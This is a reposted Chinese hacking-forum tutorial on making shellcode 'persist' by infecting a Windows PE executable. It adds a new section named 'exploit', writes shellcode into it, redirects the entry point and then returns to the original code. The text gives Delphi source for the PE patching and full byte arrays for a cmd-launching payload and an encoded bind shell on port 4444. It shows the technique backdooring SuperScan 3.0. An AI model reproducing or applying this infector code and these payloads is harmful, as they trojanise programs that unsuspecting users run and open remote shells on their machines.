很老很老的一篇文章,都是些老技术了,这文章写的还行,就转来了,原地址:http://forum.eviloctal.com/thread-29572-1-1.html
很早以前我也发过此类工具,原理都很简单,ShellCode “感染”大概分两种:
一种是在00空白区段插入,然后跳转到入口点,但是00区段一般很小,最大也就只有个几百字节,短一点的shellcode还行,大一点的就写不下了,这种方法的优点是,不改变可执行文件德大小、结构。
所以催生了另一种方法,就是新增个区段,区段大小可以任意控制,所以再大的shellcode也能写下了,缺点是PE文件大小改变了,体积增大。
还有一些其他方法,修改程序导入表,或者修改该程序加载的dll等。
[原创]不死的shellcode
文章作者:DarkBoxer(暗夜拳师)
信息来源:邪恶八进制信息安全团队(www.eviloctal.com)
嘻嘻,今天把电脑的一些东西转移到移动硬盘的时候,发现自己以前投过的几篇稿件,粗看了一篇觉得有几篇还是有点余热,索性提交到邪八,希望可以对有需要的朋友一些帮助...菜鸟写的菜文,高手就不要笑话了
本文曾发表于黑防06年第8期
我想大家都知道shellcode是什么吧,说透了,就是能够实现攻击者目的的一段机器码.
在溢出攻击中,就是让有漏洞的机器执行这段机器码,达到攻击的目的,漏洞利用完了,shellcode就等于死了,不存在了,如果目标机器把漏洞补好了,那溢出攻击就会失效了,有没有办法在一次溢出成功后,shellcode仍然存在呢?
N久以前,看过一篇文章<也谈把QQ2005做成后门之编程实现>,哇,受益菲浅哦.作者的思路是,通过搜索查找exe文件的最后一个区块,在这个区块后面搜索足够大小空间的00块,在他们后面存放后门代码,通过更改程序入口点,执行后门代码,最后跳回程序原来的入口点.继续执行.
不过,正如元哥所说,对VC++等编译的可执行文件的代码块是.text,而,Delphi编译的,会是.code,这样在查找区块的时候,还是有一点缺乏通用性.
呵呵,其实除了搜索空白区域,还有一种办法可以达到同样的效果,那就是给可执行文件增加区块,感觉似乎通用性要强那么一点点^_^
那,我开始讲解我的思路吧:
1. 为可执行文件增加一个”exploit”区块
2. 在”exploit”区块中加载我们所希望的shellcode
3. 更改可执行文件的入口点,使其先执行我们的shellcode
4. 恢复程序真正入口点,使其得以继续执行
5. over!
好,我们开始打造吧,本程序这是用delphi编译的,来看看代码,测试的时候先用开DOS窗口的shellcode吧(这里开DOS窗口的WinExec函数的地址,我用的本机上的,大家可以用GetWinEexecAddr.cpp获得,光盘有收录,不过要记住顺序是反过来的哦):
JMPOFF = 25; //偏移25个字节 SHELLCODE: THEAD = ($55,$8B,$EC, $51,$C7,$45,$FC,$63,$6D,$64, $00,$6A,$05,$8D,$45,$FC,$50,$B8, $4D,$11,$86,$7C, //我机器上WinExec函数地址 $FF,$D0, $B8, //到这里正好25个字节 $00,$10,$40,$00,$FF,$E0); 为什么要25个字节呢?看到最后一行没有,其实这是我从VC花指令改造过来的,最后一行是不是VC程序通常的入口点0x401000呢.这样配合下面的汇编代码,我们将很容易的恢复程序原本的入口点.在本文后面我们将看见绑定4444端口的shellcode的时候, JMPOFF赋值为317,所以,你选择的shellocde的长度是多少,JMPOFF就赋予多少. PUSHAD //寄存器入栈 LEA eax, SHELLCODE //将SHELLCODE的地址交给寄存器eax ADD eax, JMPOFF //eax=eax+JMPOFF MOV edx, AddressOfEntryPoint //将入口点赋值给edx MOV DWORD ptr [eax], edx //同上 POPAD //所有寄存器出栈
我这里测试的目标是superscan3.0,大家可以自己选择,我们用OD加载被增加区块的superscan3.0,如图
好了,下面是在增加区块的代码了,不明白下面这些东东的朋友需要温习一下PE文件格式哦
fs.Seek(0, soFromBeginning); //指向文件头 fs.Read(DOSHEADER, sizeof(DOSHEADER)); //DOS下可行执行文件头,大家应该知道“MZ”//标志吧 fs.Seek(DOSHEADER._lfanew, soFromBeginning);//指向PE头部 fs.Read(PEHEADER, sizeOf(PEHEADER)); //PE文件头信息 fs.Seek(sizeOf(SectionHeader) * (PEHEADER.FileHeader.NumberOfSections - 1), soFromCurrent);//定位到最后一个区块位置 fs.Read(SectionHeader, sizeof(IMAGE_SECTION_HEADER)); MySectionHeader.Name[0] := ord('e'); //给增加的区块命名”exploit” MySectionHeader.Name[1] := ord('x'); MySectionHeader.Name[2] := ord('p'); MySectionHeader.Name[3] := ord('l'); MySectionHeader.Name[4] := ord('o'); MySectionHeader.Name[5] := ord('i'); MySectionHeader.Name[6] := ord('t'); MySectionHeader.Name[7] := 0; MySectionHeader.VirtualAddress := PEHEADER.OptionalHeader.SizeOfImage;//整个文件的映像尺寸 MySectionHeader.Misc.VirtualSize := $500; //虚拟地址大小 MySectionHeader.SizeOfRawData := (MySectionHeader.VirtualAddress div PEHEADER.OptionalHeader.FileAlignment + 1) * PEHEADER.OptionalHeader.FileAlignment - PEHEADER.OptionalHeader.SizeOfImage; //SizeOfRawData在EXE文件中是对齐到//FileAlignMent的整数倍的 MySectionHeader.PointerToRawData := SectionHeader.SizeOfRawData + SectionHeader.PointerToRawData; //改变在文件中的偏移 MySectionHeader.Characteristics:=$E000002 //E000002表示可读可执行 Inc(PEHEADER.FileHeader.NumberOfSections);//区块增加一个 fs.Write(MySectionHeader, sizeOf(MySectionHeader)); //把信息写入新增加的区块 fs.Seek(DOSHEADER._lfanew, soFromBeginning);//定位到PE文件头 AddressOfEntryPoint := PEHEADER.OptionalHeader.AddressOfEntryPoint; //保存原来的程序的入 //口点 PEHEADER.OptionalHeader.AddressOfEntryPoint := MySectionHeader.VirtualAddress; //更改文件的入口点为增加的区块的入口点 PEHEADER.OptionalHeader.MajorLinkerVersion := 7; //版本信息 PEHEADER.OptionalHeader.MinorLinkerVersion := 0; AddressOfEntryPoint := AddressOfEntryPoint + PEHEADER.OptionalHeader.ImageBase; //程序入口点是一个RVA值,加上基地址就是程序运行//时候的入口函数的起始虚地址 // //。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。 // PEHEADER.OptionalHeader.SizeOfImage := PEHEADER.OptionalHeader.SizeOfImage + MySectionHeader.Misc.VirtualSize;//改变整个文件的 //映像尺寸 fs.Write(PEHEADER, sizeof(PEHEADER)); //重写PE文件 fs.Seek(fs.Size, soFromBeginning); //定位文件大小,区块位置 fs.Write(SHELLCODE, MySectionHeader.Misc.VirtualSize)//写入SHELLCODE
看一下增加的区块,如图2
好了,打造完毕,测试一下功能,成功,启动superscan3.0的时候,DOS窗口也打开了,如图3
但是,似乎只开了DOS,感觉不是太完美,那测试一个绑定4444端口的吧。
JMPOFF = 317; //前面已经说了为什么会是317了 SHELLCODE: THEAD = ( $eb,$10,$5b,$4b,$33,$c9,$66,$b9,$23,$01,$80,$34,$0b,$f8,$e2,$fa, $eb,$05,$e8,$eb,$ff,$ff,$ff,$11,$01,$f8,$f8,$f8,$a7,$9c,$59,$c8, $f8,$f8,$f8,$73,$b8,$f4,$73,$88,$e4,$55,$73,$90,$f0,$73,$0f,$92, $fb,$a1,$10,$61,$f8,$f8,$f8,$1a,$01,$90,$cb,$ca,$f8,$f8,$90,$8f, $8b,$ca,$a7,$ac,$07,$ee,$73,$10,$92,$fd,$a1,$10,$78,$f8,$f8,$f8, $1a,$01,$79,$14,$68,$f9,$f8,$f8,$ac,$90,$f9,$f9,$f8,$f8,$07,$ae, $f4,$a8,$a8,$a8,$a8,$92,$f9,$92,$fa,$07,$ae,$e8,$73,$20,$cb,$38, $a8,$a8,$90,$fa,$f8,$e9,$a4,$73,$34,$92,$e8,$a9,$ab,$07,$ae,$ec, $92,$f9,$ab,$07,$ae,$e0,$a8,$a8,$ab,$07,$ae,$e4,$73,$20,$90,$9b, $95,$9c,$f8,$75,$ec,$dc,$7b,$14,$ac,$73,$04,$92,$ec,$a1,$cb,$38, $71,$fc,$77,$1a,$03,$3e,$bf,$e8,$bc,$06,$bf,$c4,$06,$bf,$c5,$71, $a7,$b0,$71,$a7,$b4,$71,$a7,$a8,$75,$bf,$e8,$af,$a8,$a9,$a9,$a9, $92,$f9,$a9,$a9,$aa,$a9,$07,$ae,$fc,$cb,$38,$b0,$a8,$07,$ae,$f0, $a9,$ae,$73,$8d,$c4,$73,$8c,$d6,$80,$fb,$0d,$ae,$73,$8e,$d8,$fb, $0d,$cb,$31,$b1,$b9,$55,$fb,$3d,$cb,$23,$f7,$46,$e8,$c2,$2e,$8c, $f0,$39,$33,$ff,$fb,$22,$b8,$13,$09,$c3,$e7,$8d,$1f,$a6,$73,$a6, $dc,$fb,$25,$9e,$73,$f4,$b3,$73,$a6,$e4,$fb,$25,$73,$fc,$73,$fb, $3d,$53,$a6,$a1,$3b,$10,$fa,$07,$07,$07,$ca,$8c,$69,$f4,$31,$44, $5e,$93,$77,$0a,$e0,$99,$c5,$92,$4c,$78,$d5,$ca,$80,$26,$9c,$e8, $5f,$25,$f4,$67,$2b,$b3,$49,$e6,$6f,$f9, $8B, $E8, $B8, //到这里正好317个字节 $00, $10, $40, $00, $FF, $E0);
如图4
这时候telnet 4444端口就如图5了^_^
OK,收工了!!!!至于反向连接,下载执行的shellcode,读者朋友可以自己测试,记住JMPOFF为shellcode 的长度哦。
回顾一下,把shellcode保存在新增的区块中,是不是就可以达到shellcode不死的目的呢.如果把这段代码也提取为shellcode,嘿嘿,那是不是跟好一点呢,这些就靠朋友们去拓展吧,嘻嘻~~~~,另外,我要说明一下,有些可执行文件会限制区块的大小,这样会限制我们加载理想的shellcode,如果超出大小,有的可能会执行我们的功能,但程序本身的功能失去,有的甚至会出错,唉,这个世界真是缺乏完美^_^
最后,在说几句废话,这本来是破解里的文件补丁技术,或者是通过花指令防破解的技术,或者是防杀毒软件的免杀技术,再或者是病毒加载宿主程序的技术,现在被我们用在缓冲区溢出攻击里,看来, 黑客技术在各个领域都是相通的哦…
留言评论(旧系统):